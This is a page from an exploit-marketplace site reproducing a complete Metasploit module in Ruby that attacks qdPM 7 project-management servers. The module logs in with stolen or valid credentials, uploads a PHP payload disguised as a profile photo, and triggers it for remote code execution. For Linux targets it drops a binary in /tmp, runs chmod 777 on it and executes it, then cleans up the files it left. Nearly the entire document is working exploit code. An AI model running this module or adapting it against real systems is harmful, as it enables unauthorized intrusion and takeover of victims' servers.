[ authorization ] [ registration ] [ restore account ]
Contact us
You can contact us by:
0day Today Exploits Market and 0day Exploits Database

qdPM 7 Arbitrary PHP File Upload Vulnerability

Author
metasploit
Risk
[
Security Risk Medium
]
0day-ID
0day-ID-19402
Category
remote exploits
Date add
14-09-2012
Platform
php
##
# This file is part of the Metasploit Framework and may be subject to
# redistribution and commercial restrictions. Please see the Metasploit
# Framework web site for more information on licensing and terms of use.
#   http://metasploit.com/framework/
##

require 'msf/core'

class Metasploit3 < Msf::Exploit::Remote
  Rank = ExcellentRanking

  include Msf::Exploit::Remote::HttpClient
  include Msf::Exploit::EXE

  def initialize(info={})
    super(update_info(info,
      'Name'           => "qdPM v7 Arbitrary PHP File Upload Vulnerability",
      'Description'    => %q{
        This module exploits a vulnerability found in qdPM - a web-based project management
        software. The user profile's photo upload feature can be abused to upload any
        arbitrary file onto the victim server machine, which allows remote code execution.
        Please note in order to use this module, you must have a valid credential to sign
        in.
      },
      'License'        => MSF_LICENSE,
      'Author'         =>
        [
          'loneferret', #Discovery, PoC
          'sinn3r'      #Metasploit
        ],
      'References'     =>
        [
          ['OSVDB', '82978'],
          ['EDB', '19154']
        ],
      'Payload'        =>
        {
          'BadChars' => "\x00"
        },
      'DefaultOptions'  =>
        {
          'ExitFunction' => "none"
        },
      'Platform'       => ['linux', 'php'],
      'Targets'        =>
        [
          [ 'Generic (PHP Payload)', { 'Arch' => ARCH_PHP, 'Platform' => 'php' }  ],
          [ 'Linux x86'            , { 'Arch' => ARCH_X86, 'Platform' => 'linux'} ]
        ],
      'Privileged'     => false,
      'DisclosureDate' => "Jun 14 2012",
      'DefaultTarget'  => 0))

    register_options(
      [
        OptString.new('TARGETURI', [true, 'The base directory to sflog!', '/qdPM/']),
        OptString.new('USERNAME',  [true, 'The username to login with']),
        OptString.new('PASSWORD',  [true, 'The password to login with'])
      ], self.class)
  end

  def check
    target_uri.path << '/' if target_uri.path[-1,1] != '/'
    base = File.dirname("#{target_uri.path}.")

    res = send_request_raw({'uri'=>"#{base}/index.php"})
    if res and res.body =~ /<div id\=\"footer\"\>.+qdPM ([\d])\.([\d]).+\<\/div\>/m
      major, minor = $1, $2
      return Exploit::CheckCode::Vulnerable if (major+minor).to_i <= 70
    end

    return Exploit::CheckCode::Safe
  end

  def get_write_exec_payload(fname, data)
    p = Rex::Text.encode_base64(generate_payload_exe)
    php = %Q|
    <?php
    $f = fopen("#{fname}", "wb");
    fwrite($f, base64_decode("#{p}"));
    fclose($f);
    exec("chmod 777 #{fname}");
    exec("#{fname}");
    ?>
    |
    php = php.gsub(/^\t\t/, '').gsub(/\n/, ' ')
    return php
  end

  def on_new_session(cli)
    if cli.type == "meterpreter"
      cli.core.use("stdapi") if not cli.ext.aliases.include?("stdapi")
    end

    @clean_files.each do |f|
      print_status("#{@peer} - Removing: #{f}")
      begin
        if cli.type == 'meterpreter'
          cli.fs.file.rm(f)
        else
          cli.shell_command_token("rm #{f}")
        end
      rescue ::Exception => e
        print_error("#{@peer} - Unable to remove #{f}: #{e.message}")
      end
    end
  end

  def login(base, username, password)
    # Login
    res = send_request_cgi({
      'method'    => 'POST',
      'uri'       => "#{base}/index.php/home/login",
      'vars_post' => {
        'login[email]'    => username,
        'login[password]' => password,
        'http_referer'    => ''
      },
      # This needs to be set, otherwise we get two cookies... I don't need two cookies.
      'cookie'     => "qdpm=#{Rex::Text.rand_text_alpha(27)}",
      'headers'   => {
        'Origin' => "http://#{rhost}",
        'Referer' => "http://#{rhost}/#{base}/index.php/home/login"
      }
    })

    cookie = (res and res.headers['Set-Cookie'] =~ /qdpm\=.+\;/) ? res.headers['Set-Cookie'] : ''
    return {} if cookie.empty?
    cookie = cookie.to_s.scan(/(qdpm\=\w+)\;/).flatten[0]

    # Get user data
    vprint_status("#{@peer} - Enumerating user data")
    res = send_request_raw({
      'uri' => "#{base}/index.php/home/myAccount",
      'cookie' => cookie
    })

    return {} if not res
    if res.code == 404
      print_error("#{@peer} - #{username} does not actually have a 'myAccount' page")
      return {}
    end

    b = res.body

    user_id = b.scan(/\<input type\=\"hidden\" name\=\"users\[id\]\" value\=\"(.+)\" id\=\"users\_id\" \/\>/).flatten[0] || ''
    group_id = b.scan(/\<input type\=\"hidden\" name\=\"users\[users\_group\_id\]\" value\=\"(.+)\" id\=\"users\_users\_group\_id\" \/>/).flatten[0] || ''
    user_active = b.scan(/\<input type\=\"hidden\" name\=\"users\[active\]\" value\=\"(.+)\" id\=\"users\_active\" \/\>/).flatten[0] || ''

    opts = {
      'cookie'     => cookie,
      'user_id'     => user_id,
      'group_id'    => group_id,
      'user_active' => user_active
    }

    return opts
  end

  def upload_php(base, opts)
    fname       = opts['filename']
    php_payload = opts['data']
    user_id     = opts['user_id']
    group_id    = opts['group_id']
    user_active = opts['user_active']
    username    = opts['username']
    email       = opts['email']
    cookie      = opts['cookie']

    data = Rex::MIME::Message.new
    data.add_part('UsersAccountForm', nil, nil, 'form-data; name="formName"')
    data.add_part('put', nil, nil, 'form-data; name="sf_method"')
    data.add_part(user_id, nil, nil, 'form-data; name="users[id]"')
    data.add_part(group_id, nil, nil, 'form-data; name="users[users_group_id]"')
    data.add_part(user_active, nil, nil, 'form-data; name="users[active]"')
    data.add_part('', nil, nil, 'form-data; name="users[skin]"')
    data.add_part(username, nil, nil, 'form-data; name="users[name]"')
    data.add_part(php_payload, nil, nil, "form-data; name=\"users[photo]\"; filename=\"#{fname}\"")
    data.add_part('', nil, nil, 'form-data; name="preview_photo"')
    data.add_part(email, nil, nil, 'form-data; name="users[email]"')
    data.add_part('en_US', nil, nil, 'form-data; name="users[culture]"')
    data.add_part('', nil, nil, 'form-data; name="new_password"')

    post_data = data.to_s.gsub(/^\r\n\-\-\_Part\_/, '--_Part_')

    res = send_request_cgi({
      'method'  => 'POST',
      'uri'     => "#{base}/index.php/home/myAccount",
      'ctype'   => "multipart/form-data; boundary=#{data.bound}",
      'data'    => post_data,
      'cookie'  => cookie,
      'headers' => {
        'Origin' => "http://#{rhost}",
        'Referer' => "http://#{rhost}#{base}/index.php/home/myAccount"
      }
    })

    return (res and res.headers['Location'] =~ /home\/myAccount$/) ? true : false
  end

  def exec_php(base, opts)
    cookie = opts['cookie']

    # When we upload a file, it will be renamed. The 'myAccount' page has that info.
    res = send_request_cgi({
      'uri'    => "#{base}/index.php/home/myAccount",
      'cookie' => cookie
    })

    if not res
      print_error("#{@peer} - Unable to request the file")
      return
    end

    fname = res.body.scan(/\<input type\=\"hidden\" name\=\"preview\_photo\" id\=\"preview\_photo\" value\=\"(\d+\-\w+\.php)\" \/\>/).flatten[0] || ''
    if fname.empty?
      print_error("#{@peer} - Unable to extract the real filename")
      return
    end

    # Now that we have the filename, request it
    print_status("#{@peer} - Uploaded file was renmaed as '#{fname}'")
    send_request_raw({'uri'=>"#{base}/uploads/users/#{fname}"})
    handler
  end

  def exploit
    @peer = "#{rhost}:#{rport}"

    target_uri.path << '/' if target_uri.path[-1,1] != '/'
    base = File.dirname("#{target_uri.path}.")

    user = datastore['USERNAME']
    pass = datastore['PASSWORD']
    print_status("#{@peer} - Attempt to login with '#{user}:#{pass}'")
    opts = login(base, user, pass)
    if opts.empty?
      print_error("#{@peer} - Login unsuccessful")
      return
    end

    php_fname = "#{Rex::Text.rand_text_alpha(5)}.php"
    @clean_files = [php_fname]

    case target['Platform']
    when 'php'
      p = "<?php #{payload.encoded} ?>"
    when 'linux'
      bin_name = "#{Rex::Text.rand_text_alpha(5)}.bin"
      @clean_files << bin_name
      bin = generate_payload_exe
      p = get_write_exec_payload("/tmp/#{bin_name}", bin)
    end

    print_status("#{@peer} - Uploading PHP payload (#{p.length.to_s} bytes)...")
    opts = opts.merge({
      'username' => user.scan(/^(.+)\@.+/).flatten[0] || '',
      'email'    => user,
      'filename' => php_fname,
      'data'     => p
    })
    uploader = upload_php(base, opts)
    if not uploader
      print_error("#{@peer} - Unable to upload")
      return
    end

    print_status("#{@peer} - Executing '#{php_fname}'")
    exec_php(base, opts)
  end
end



#  0day.today [2024-12-26]  #